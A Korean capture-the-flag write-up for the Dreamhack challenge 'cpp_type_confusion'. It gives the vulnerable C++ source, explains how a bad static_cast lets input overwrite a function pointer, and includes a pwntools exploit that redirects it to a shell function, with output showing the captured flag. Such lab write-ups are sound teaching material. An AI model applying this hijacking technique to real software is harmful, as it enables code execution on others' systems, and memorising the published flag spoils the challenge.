[dreamhack] cpp_type_confusion writeup

1. 문제

thumbnail
cpp_type_confusion

이 문제는 서버에서 작동하고 있는 서비스(cpp_type_confusion)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾아 flag를 획득하세요!.
'flag' 파일을 읽어 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

https://dreamhack.io/wargame/challenges/65

2. 풀이

#include <iostream>
#include <csignal>
#include <unistd.h>
#include <cstdio>
#include <cstring>
#include <cstdlib>

int appleflag = 0;
int mangoflag = 0;
int applemangoflag = 0;

void getshell(){
    system("/bin/sh");
}

void print_menu(){
    std::cout << "I love Applemango!" << std::endl;
    std::cout << "1. Make apple" << std::endl;
    std::cout << "2. Make mango" << std::endl;
    std::cout << "3. Mix apple, mango" << std::endl;
    std::cout << "4. Eat" << std::endl;
    std::cout << "5. Exit program" << std::endl;
    std::cout << "[*] Select : ";
}

void mangohi(){
    std::cout << "Mangoyum" << std::endl;
}

void applehi(){
    std::cout << "Appleyum" << std::endl;
}

class Base{
public:
    virtual void yum(){
    }
};

class Apple : public Base{
public:
    virtual void yum(){
        std::cout << description << std::endl;
    }
    Apple(){
        strcpy(description, "Appleyum\x00");
        appleflag = 1;
    };

    ~Apple(){
        appleflag = 0;
    }
    char description[8];
};

class Mango : public Base{
public:
    virtual void yum(){
        description();
    }

    Mango(){
        description = mangohi;
        mangoflag = 1;
    };

    ~Mango(){
        mangoflag = 0;
    }
    void (*description)(void);
};

int main(){
    initialize();
    int selector;
    std::string applemangoname;
    Base *apple;
    Base *mango;
    Apple* mixer;

    while(1){
        print_menu();
        std::cin >> selector;
        switch(selector){
            case 1:
                apple = new Apple();
                std::cout << "Apple Created!" << std::endl;
                break;
            case 2:
                mango = new Mango();
                std::cout << "Mango Created!" << std::endl;
                break;
            case 3:
                if(appleflag && mangoflag){
                    applemangoflag = 1;
                    mixer = static_cast<Apple*>(mango);
                    std::cout << "Applemango name: ";
                    std::cin >> applemangoname;
                    strncpy(mixer->description, applemangoname.c_str(), 8);
                    std::cout << "Applemango Created!" << std::endl;
                } else if(appleflag == 0 && mangoflag == 0){
                    std::cout << "You don't have anything!" << std::endl;
                } else if(appleflag == 0){
                    std::cout << "You don't have apple!" << std::endl;
                } else if(mangoflag == 0){
                    std::cout << "You don't have mango!" << std::endl;
                }
                break;
            case 4:
                std::cout << "1. Apple\n2. Mango\n3. Applemango\n[*] Select : ";
                std::cin >> selector;
                if(selector == 1){
                    if(appleflag){ 
                        apple->yum(); 
                    }
                    else{ std::cout << "You don't have apple!" << std::endl; }
                } else if (selector == 2){
                    if(mangoflag){ 
                        mango->yum(); 
                    }
                    else{ 
                        std::cout << "you don't have mango!" << std::endl; 
                    }
                } else if (selector == 3){
                    if(applemangoflag) { 
                        mixer->yum(); 
                    }
                    else{ 
                        std::cout << "you don't have Applemango!" << std::endl; 
                    }
                } else {
                    std::cout << "Wrong Choice!" << std::endl;
                }
                break;
            case 5:
                std::cout << "bye!" << std::endl;
                return 0;
                break;
            default:
                return 0;
        }
    }
    return 0;    
}

apple, mango를 만들고, 두개를 섞어서 applemango를 만들 수 있다. 만든 과일을 먹으면 과일별 구조체에 있는 yum 함수를 실행한다.


yum함수가 과일마다 동작하는 방식이 다른데, apple 구조체는 description에 있는 내용을 출력하고 mango 구조체에서는 description 함수 포인터를 가리켜서 실행한다. 그런데 main함수에서 applemango를 섞을 때 mango구조체를 apple 구조체로 casting하고, mixerdescriptionapplemangoname을 입력한다. 사실상 mango 구조체의 yum함수가 실행될 때 어떤 함수가 실행될지를 변경하는 것이므로 만약 우리가 원하는 함수의 주소를 applemangoname으로 주면 yum함수 실행 시 해당 함수가 실행될 것이다.

따라서 exploit의 흐름은 아래와 같다.

  • ⁣1. applemango를 각각 하나씩 생성한다.
  • ⁣2. 두 과일을 섞고, applemangonameget_shell함수의 주소를 넣는다.
  • ⁣3. applemango를 먹는다!

이를 바탕으로 exploit을 작성하였고, 잘 동작하는 것을 확인했다.

from pwn import *

p = process("./cpp_type_confusion")
p = remote("host3.dreamhack.games", 11176)
elf = ELF("./cpp_type_confusion")
get_shell = elf.symbols["_Z8getshellv"]

p.recvuntil("Select : ")
p.sendline("1")

p.recvuntil("Select : ")
p.sendline("2")

p.recvuntil("Select : ")
p.sendline("3")
p.recvuntil("Applemango name: ")
p.sendline(p64(get_shell))

p.recvuntil("Select : ")
p.sendline("4")
p.recvuntil("Select : ")
p.sendline("3")
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level1/cpp_type_confusion$ python3 e_cpp_type_confusion.py 
[+] Starting local process './cpp_type_confusion': pid 2217847
[+] Opening connection to host3.dreamhack.games on port 11176: Done
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level1/cpp_type_confusion/cpp_type_confusion'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
/home/ubuntu/dreamhack/level1/cpp_type_confusion/e_cpp_type_confusion.py:8: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("Select : ")
/home/ubuntu/dreamhack/level1/cpp_type_confusion/e_cpp_type_confusion.py:9: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendline("1")
/home/ubuntu/dreamhack/level1/cpp_type_confusion/e_cpp_type_confusion.py:11: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("Select : ")
/home/ubuntu/dreamhack/level1/cpp_type_confusion/e_cpp_type_confusion.py:12: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendline("2")
/home/ubuntu/dreamhack/level1/cpp_type_confusion/e_cpp_type_confusion.py:14: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("Select : ")
/home/ubuntu/dreamhack/level1/cpp_type_confusion/e_cpp_type_confusion.py:15: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendline("3")
/home/ubuntu/dreamhack/level1/cpp_type_confusion/e_cpp_type_confusion.py:16: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("Applemango name: ")
/home/ubuntu/dreamhack/level1/cpp_type_confusion/e_cpp_type_confusion.py:19: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("Select : ")
/home/ubuntu/dreamhack/level1/cpp_type_confusion/e_cpp_type_confusion.py:20: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendline("4")
/home/ubuntu/dreamhack/level1/cpp_type_confusion/e_cpp_type_confusion.py:21: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("Select : ")
/home/ubuntu/dreamhack/level1/cpp_type_confusion/e_cpp_type_confusion.py:22: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendline("3")
[*] Switching to interactive mode
$ cat flag
DH{4a969c04516654df9984f8aab2db7309}

해결~